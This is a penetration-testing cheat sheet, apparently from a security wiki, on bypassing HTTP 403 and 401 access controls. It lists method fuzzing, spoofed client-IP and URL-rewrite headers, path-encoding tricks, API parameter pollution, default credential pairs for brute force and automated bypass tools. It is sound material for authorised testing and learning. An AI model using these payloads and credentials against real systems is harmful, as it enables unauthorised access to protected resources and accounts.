# 403 & 401 Bypasses
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## HTTP Verbs/Methods Fuzzing Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` * Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. * Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used. * Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful. ## HTTP Headers Fuzzing * **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource. * **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). * `X-Originating-IP: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1` * `X-Forwarded: 127.0.0.1` * `Forwarded-For: 127.0.0.1` * `X-Remote-IP: 127.0.0.1` * `X-Remote-Addr: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1` * `X-Original-URL: 127.0.0.1` * `Client-IP: 127.0.0.1` * `True-Client-IP: 127.0.0.1` * `Cluster-Client-IP: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1` * `Host: localhost` If the **path is protected** you can try to bypass the path protection using these other headers: * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` * If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** * Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response. * **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. * **Remove the Host header** and maybe you will be able to bypass the protection. ## Path **Fuzzing** If _/path_ is blocked: * Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode) * Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check * **Other path bypasses**: * site.com/secret –> HTTP 403 Forbidden * site.com/SECRET –> HTTP 200 OK * site.com/secret/ –> HTTP 200 OK * site.com/secret/. –> HTTP 200 OK * site.com//secret// –> HTTP 200 OK * site.com/./secret/.. –> HTTP 200 OK * site.com/;/secret –> HTTP 200 OK * site.com/.;/secret –> HTTP 200 OK * site.com//;//secret –> HTTP 200 OK * site.com/secret.json –> HTTP 200 OK (ruby) * Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations: * /FUZZsecret * /FUZZ/secret * /secretFUZZ * **Other API bypasses:** * /v3/users\_data/1234 --> 403 Forbidden * /v1/users\_data/1234 --> 200 OK * {“id”:111} --> 401 Unauthriozied * {“id”:\[111]} --> 200 OK * {“id”:111} --> 401 Unauthriozied * {“id”:{“id”:111\}} --> 200 OK * {"user\_id":"\","user\_id":"\"} (JSON Parameter Pollution) * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) ## **Protocol version** If using HTTP/1.1 **try to use 1.0** or even test if it **supports 2.0**. ## **Other Bypasses** * Get the **IP** or **CNAME** of the domain and try **contacting it directly**. * Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * **Change the protocol**: from http to https, or for https to http * Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. ## **Brute Force** * **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? * [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. {% code title="Common creds" %} ```` ``` admin admin admin password admin 1234 admin admin1234 admin 123456 root toor test test guest guest ``` ```` {% endcode %} ## Automatic Tools * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) * [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) * [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) * [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
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